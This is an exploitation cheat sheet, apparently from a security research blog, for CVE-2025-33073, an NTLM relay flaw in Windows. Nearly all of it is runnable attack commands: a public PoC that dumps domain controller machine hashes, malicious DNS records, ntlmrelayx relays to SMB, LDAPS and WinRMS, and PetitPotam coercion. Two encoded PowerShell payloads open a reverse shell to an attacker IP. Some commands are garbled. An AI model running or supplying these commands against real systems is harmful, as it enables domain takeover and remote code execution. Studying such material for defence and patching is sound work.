← Back to ZeroTrace Research / 2ubZ3r0

CVE-2025-33073

1: With Automatic POC

Installation

Automatic PoC

https://github.com/mverschu/CVE-2025-33073

Clone the repo

git clone https://github.com/mverschu/CVE-2025-33073.git
cd CVE-2025-33073
chmod +x setup.sh
./setup.sh

Activate virtual venv

cd /usr/local/bin/CVE-2025-33073
source venv/bin/activate

Attack via SMB

Check SMB Signing is Enabled

nxc smb dc.novacart.local

SMB Signing is Disabled

Check for CVE

nxc smb 10.0.0.5 -u 'testuser' -p 'pa$$w0rd' -M enum_cve

Normal Mode (Dumping the DC Machine Account Hash)

python3 CVE-2025-33073.py -u 'novacart.local\l.thompson' -p 'pa$$w0rd3432' --attacker-ip 192.168.178.180 --dns-ip 192.168.178.120 --dc-fqdn DC.novacart.local --target DC.novacart.local --target-ip 192.168.178.120

Custom Command

python3 CVE-2025-33073.py -u 'novacart.local\l.thompson' -p 'pa$$w0rd3432' --attacker-ip 192.168.178.180 --dns-ip 192.168.178.120 --dc-fqdn DC.novacart.local --target DC.novacart.local --target-ip 192.168.178.120 --cli-only --custom-command "whoami"


Spawn a Reverse Shell to 192.168.178.180:4422

python3 CVE-2025-33073.py -u 'novacart.local\l.thompson' -p 'pa$$w0rd3432' --attacker-ip 192.168.178.180 --dns-ip 192.168.178.120 --dc-fqdn DC.novacart.local --target DC.novacart.local --target-ip 192.168.178.120 --cli-only --custom-command "powershell -e JABjAGwAaQBlAG4AdAAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFMAbwBjAGsAZQB0AHMALgBUAEMAUABDAGwAaQBlAG4AdAAoACIAMQA5ADIALgAxADYAOAAuADEANwA4AC4AMQA4ADAAIgAsADQANAAyADIAKQA7ACQAcwB0AHIAZQBhAG0AIAA9ACAAJABjAGwAaQBlAG4AdAAuAEcAZQB0AFMAdAByAGUAYQBtACgAKQA7AFsAYgB5AHQAZQBbAF0AXQAkAGIAeQB0AGUAcwAgAD0AIAAwAC4ALgA2ADUANQAzADUAfAAlAHsAMAB9ADsAdwBoAGkAbABlACgAKAAkAGkAIAA9ACAAJABzAHQAcgBlAGEAbQAuAFIAZQBhAGQAKAAkAGIAeQB0AGUAcwAsACAAMAAsACAAJABiAHkAdABlAHMALgBMAGUAbgBnAHQAaAApACkAIAAtAG4AZQAgADAAKQB7ADsAJABkAGEAdABhACAAPQAgACgATgBlAHcALQBPAGIAagBlAGMAdAAgAC0AVAB5AHAAZQBOAGEAbQBlACAAUwB5AHMAdABlAG0ALgBUAGUAeAB0AC4AQQBTAEMASQBJAEUAbgBjAG8AZABpAG4AZwApAC4ARwBlAHQAUwB0AHIAaQBuAGcAKAAkAGIAeQB0AGUAcwAsADAALAAgACQAaQApADsAJABzAGUAbgBkAGIAYQBjAGsAIAA9ACAAKABpAGUAeAAgACQAZABhAHQAYQAgADIAPgAmADEAIAB8ACAATwB1AHQALQBTAHQAcgBpAG4AZwAgACkAOwAkAHMAZQBuAGQAYgBhAGMAawAyACAAPQAgACQAcwBlAG4AZABiAGEAYwBrACAAKwAgACIAUABTACAAIgAgACsAIAAoAHAAdwBkACkALgBQAGEAdABoACAAKwAgACIAPgAgACIAOwAkAHMAZQBuAGQAYgB5AHQAZQAgAD0AIAAoAFsAdABlAHgAdAAuAGUAbgBjAG8AZABpAG4AZwBdADoAOgBBAFMAQwBJAEkAKQAuAEcAZQB0AEIAeQB0AGUAcwAoACQAcwBlAG4AZABiAGEAYwBrADIAKQA7ACQAcwB0AHIAZQBhAG0ALgBXAHIAaQB0AGUAKAAkAHMAZQBuAGQAYgB5AHQAZQAsADAALAAkAHMAZQBuAGQAYgB5AHQAZQAuAEwAZQBuAGcAdABoACkAOwAkAHMAdAByAGUAYQBtAC4ARgBsAHUAcwBoACgAKQB9ADsAJABjAGwAaQBlAG4AdAAuAEMAbABvAHMAZQAoACkA"

Attack Against a Member Server

Target: IIS_SERVER.domain.local (192.168.178.130)

Domain Controller: DC.domain.local (192.168.178.120)

python3 CVE-2025-33073.py \
  -u 'novacart.local\l.thompson' \
  -p 'pa$$w0rd3432' \
  --attacker-ip 192.168.178.180 \
  --dns-ip 192.168.178.120 \
  --dc-fqdn DC.novacart.local \
  --target IIS_SERVER.novacart.local \
  --target-ip 192.168.178.130 \
  --custom-command "whoami"

DNS Record for the Member Server, added on the Domain Controller

Exploit relay to LDAPS even with SMB Signing enabled

python3 CVE-2025-33073.py \
  -u 'novacart.local\l.thompson' \
  -p 'pa$$w0rd3432' \
  -d 192.168.178.180 \
  --dns-ip 192.168.178.120 \
  --dc-fqdn DC.novacart.local \
  --target 192.168.178.120 \
  --target-ip 192.168.178.120 \
  -M DFSCoerce \
  --smb-signing

2: Manual Way

Attack via SMB

1. We add a DNS record to DC01 using dnstool

dnstool.py -u 'novacart.local\cliff.b' -p 'safEpAss69' DC.novacart.local -a 'add' -r 'localhost1UWhRCAAAAAAAAAAAAAAAAAAAAAAAAAAAAwbEAYBAAAA' -d '192.168.178.180' -dns-ip 192.168.178.35 --tcp

2. We Confirming that DNS entry is done successfully

dig localhost1UWhRCAAAAAAAAAAAAAAAAAAAAAAAAAAAAwbEAYBAAAA.novacart.local @dc.novacart.local +tcp

3. We relay NTLM authentication to DC01 SMB

impacket-ntlmrelayx -smb2support -t smb://dc.novacart.local

Costum Commands (Alternative)

impacket-ntlmrelayx -smb2support -t smb://dc.novacart.local -c "whoami"

4. We coerce SMB authentication and trigger a callback to our listener

nxc smb dc.novacart.local -u 'novacart.local\cliff.b' -p 'safEpAss69' -M coerce_plus -o LISTENER=localhost1UWhRCAAAAAAAAAAAAAAAAAAAAAAAAAAAAwbEAYBAAAA ALWAYS=true

Costum Commands (Revshell Port 4422)

impacket-ntlmrelayx -smb2support -t smb://dc.novacart.local -c "powershell -e JABjAGwAaQBlAG4AdAAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFMAbwBjAGsAZQB0AHMALgBUAEMAUABDAGwAaQBlAG4AdAAoACIAMQA5ADIALgAxADYAOAAuADEANwA4AC4AMQA4ADAAIgAsADQANAAyADIAKQA7ACQAcwB0AHIAZQBhAG0AIAA9ACAAJABjAGwAaQBlAG4AdAAuAEcAZQB0AFMAdAByAGUAYQBtACgAKQA7AFsAYgB5AHQAZQBbAF0AXQAkAGIAeQB0AGUAcwAgAD0AIAAwAC4ALgA2ADUANQAzADUAfAAlAHsAMAB9ADsAdwBoAGkAbABlACgAKAAkAGkAIAA9ACAAJABzAHQAcgBlAGEAbQAuAFIAZQBhAGQAKAAkAGIAeQB0AGUAcwAsACAAMAAsACAAJABiAHkAdABlAHMALgBMAGUAbgBnAHQAaAApACkAIAAtAG4AZQAgADAAKQB7ADsAJABkAGEAdABhACAAPQAgACgATgBlAHcALQBPAGIAagBlAGMAdAAgAC0AVAB5AHAAZQBOAGEAbQBlACAAUwB5AHMAdABlAG0ALgBUAGUAeAB0AC4AQQBTAEMASQBJAEUAbgBjAG8AZABpAG4AZwApAC4ARwBlAHQAUwB0AHIAaQBuAGcAKAAkAGIAeQB0AGUAcwAsADAALAAgACQAaQApADsAJABzAGUAbgBkAGIAYQBjAGsAIAA9ACAAKABpAGUAeAAgACQAZABhAHQAYQAgADIAPgAmADEAIAB8ACAATwB1AHQALQBTAHQAcgBpAG4AZwAgACkAOwAkAHMAZQBuAGQAYgBhAGMAawAyACAAPQAgACQAcwBlAG4AZABiAGEAYwBrACAAKwAgACIAUABTACAAIgAgACsAIAAoAHAAdwBkACkALgBQAGEAdABoACAAKwAgACIAPgAgACIAOwAkAHMAZQBuAGQAYgB5AHQAZQAgAD0AIAAoAFsAdABlAHgAdAAuAGUAbgBjAG8AZABpAG4AZwBdADoAOgBBAFMAQwBJAEkAKQAuAEcAZQB0AEIAeQB0AGUAcwAoACQAcwBlAG4AZABiAGEAYwBrADIAKQA7ACQAcwB0AHIAZQBhAG0ALgBXAHIAaQB0AGUAKAAkAHMAZQBuAGQAYgB5AHQAZQAsADAALAAkAHMAZQBuAGQAYgB5AHQAZQAuAEwAZQBuAGcAdABoACkAOwAkAHMAdAByAGUAYQBtAC4ARgBsAHUAcwBoACgAKQB9ADsAJABjAGwAaQBlAG4AdAAuAEMAbABvAHMAZQAoACkA"

Attack via LDAPS/LDAP

https://github.com/decoder-it/impacket-partial-mic.git

Installation

Install Impacket Partial MIC

git clone https://github.com/decoder-it/impacket-partial-mic.git
cd impacket-partial-mic
python3-m pipx install .

Add the malicious DNS record

bloodyAD--host10.1.46.209-d hacksmarter.local-u hellyr-p'H3lenaR!2025' \
  add dnsRecord--dnstype A \
  localhost1UWhRCAAAAAAAAAAAAAAAAAAAAAAAAAAAAwbEAYBAAAA \10.200.37.130

Start NTLM Relay to LDAPS

ntlmrelayx.py -t ldaps://10.1.46.209 -i -smb2support --remove-mic-partial --keep-relaying

Ore ldap (Alterntaive)

ntlmrelayx.py -t ldap://10.1.46.209 -i -smb2support --remove-mic-partial --keep-relaying

Trigger Authentication with PetitPotam

nxc smb 10.1.46.209 -u hellyr -p 'H3lenaR!2025'  -M coerce_plus -o L=localhost1UWhRCAAAAAAAAAAAAAAAAAAAAAAAAAAAAwbEAYBAAAA M=PetitPotam

Connect to the Interactive LDAP Relay Session

nc 127.0.0.1 11001

Attack via WIRNMS

Add the malicious DNS record

bloodyAD--host10.1.46.209-d hacksmarter.local-u hellyr-p'H3lenaR!2025' \
  add dnsRecord--dnstype A \
  localhost1UWhRCAAAAAAAAAAAAAAAAAAAAAAAAAAAAwbEAYBAAAA \10.200.37.130

Start NTLM Relay to WIRMS

ntlmrelayx.py -smb2support -t winrms://dc.novacart.local

Trigger Authentication with PetitPotam

nxc smb 10.1.46.209 -u hellyr -p 'H3lenaR!2025'  -M coerce_plus -o L=localhost1UWhRCAAAAAAAAAAAAAAAAAAAAAAAAAAAAwbEAYBAAAA M=PetitPotam

Connect to the Interactive LDAP Relay Session

nc 127.0.0.1 11001